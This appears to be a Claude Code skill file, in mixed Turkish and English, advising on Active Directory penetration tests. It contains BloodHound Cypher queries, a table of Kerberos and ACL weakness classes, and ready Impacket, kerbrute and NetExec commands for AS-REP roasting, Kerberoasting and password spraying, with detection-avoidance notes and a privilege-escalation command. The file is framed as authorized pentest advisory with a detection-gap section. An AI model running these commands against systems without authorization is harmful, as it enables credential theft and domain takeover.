pentest-ad

name	pentest-ad
description	Active Directory pentest methodology — BloodHound graph analiz, Kerberos abuse, ACL exploitation, lateral movement path advisory. Triggers on Active Directory, AD pentest, BloodHound, Kerberoasting, AS-REP, DCSync, Golden Ticket, Silver Ticket, NTLM relay, lateral movement, Impacket, NetExec, Certipy.
license	MIT
compatibility	Works with Claude Code
allowed-tools	Read Write Edit Bash Grep
metadata	{"author":"badi","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents ad-attacker (advisory tarafi)"}

pentest-ad

Internal pentest Active Directory advisory. BloodHound graph, Kerberos zafiyet sinifi, ACL abuse, lateral path. Live komut composer'lama scope deklare ile.

Triggers

• "AD pentest"
• "BloodHound graph analizi"
• "Kerberoast hash buldum"
• "DCSync edebilir miyim"
• "lateral movement plani"
• "Golden Ticket"
• "NTLM relay"
• "AD CS abuse"

Methodology Akisi

1. Enum: SMB, LDAP, DNS, GPP (passive ilk)
2. Cred: kerbrute users -> AS-REP roasting (no preauth) -> hashcat
3. Foothold: low-priv shell (phish/web/initial)
4. Recon: BloodHound -> high-value path
5. Privesc: ACL abuse, Kerberos delegation, GPO modify
6. Lateral: PtH, PtT, NTLM relay, WinRM, RDP
7. DA: DCSync (Replicating Changes), Golden Ticket (offline)
8. Persistence: Skeleton key, AdminSDHolder (TIER 2, scope-zorunlu)

BloodHound Graph Analizi

Kullanici BloodHound JSON export verirse skill su queries calistirir (Cypher):

// Shortest path to Domain Admin from owned user
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}))
RETURN p LIMIT 5

// Kerberoastable users with priv access
MATCH (u:User {hasspn:true})-[:MemberOf|AdminTo*1..]->(c:Computer)
WHERE u.enabled=true
RETURN u.name, c.name

// AS-REP roastable
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.serviceprincipalnames

// Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.distinguishedname

// GPO modify riski
MATCH (g:GPO)<-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]-(u)
RETURN g.name, u.name

Yaygin AD Zafiyet Sinifi

Zafiyet	Tespit	Etki
AS-REP roast	DONT_REQUIRE_PREAUTH flag	Offline crackable hash
Kerberoast	User SPN + RC4 ticket	TGS hash crack -> service acc
Unconstrained delegation	Computer object flag	DC printer bug ile compromise
NTLM relay	SMB sign off, web auth	Account takeover via relay
ACL abuse	GenericAll, WriteDacl	Reset password, add to group
ADCS ESC1-ESC8	Vulnerable cert template	Domain admin via cert
LAPS read	ReadProperty ms-Mcs-AdmPwd	Local admin password leak
GPO modify	WriteProperty on GPO link	Mass policy compromise
Constrained delegation	Service can impersonate	DA via service abuse
MSSQL trustworthy	xp_cmdshell + sysadmin	SQL -> OS command

Onerilen Komutlar (Scope Gerekli)

# QUIET — anonymous LDAP enum
ldapsearch -x -H ldap://<dc-ip> -b "DC=domain,DC=local" -s sub

# MODERATE — Kerberos user enum (no auth needed)
kerbrute userenum --dc <dc-ip> -d domain.local users.txt

# MODERATE — AS-REP roast (cred yok)
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <dc-ip>

# MODERATE — Kerberoast (cred ile)
GetUserSPNs.py domain.local/user:password -dc-ip <dc-ip> -request

# MODERATE — BloodHound collection
bloodhound-python -u user -p password -d domain.local -ns <dc-ip> -c All

# LOUD — NetExec spray (single password, all users)
nxc smb <range> -u users.txt -p 'Spring2026!' --continue-on-success

OPSEC Notlari

• AS-REP roast: domain controller event 4768 (Kerberos pre-auth failure) — DETECT edilir
• Kerberoast: TGS-REQ event 4769 + service ticket encryption type 0x17 (RC4) — anormallik
• BloodHound: massive LDAP query trafik (default coll). Yavasla: --throttle 30
• NetExec spray: tek password tum users -> account lockout policy tetiklenir (3 yanlis -> 30dk kilit yaygin)

Bulgu Output Sablonu

## AD Compromise Path — <domain>

### Owned Path
1. anonymous SMB shares -> credentials.txt buldum
2. cred: backup-svc / Backup2024!
3. backup-svc Kerberoastable -> hash crack 4 dakika
4. backup-svc -> ServerAdmins group member
5. ServerAdmins -> WriteDacl on Domain Admins
6. Tek komut: net group "Domain Admins" attacker /add -> DA

### Detection Gap (Defansif Cikti)
- Anonymous SMB share access NOT logged
- ServerAdmins WriteDacl change NOT detected (no Event 5136 alert)
- Onerilen Sigma rule: pentest-detection altinda

Out-of-Scope

• Live exploit calistirma (GenericAll abuse Bash composer'i scope ile)
• Persistent backdoor (Skeleton Key gibi) — engagement disinda kalir
• DC fiziksel attack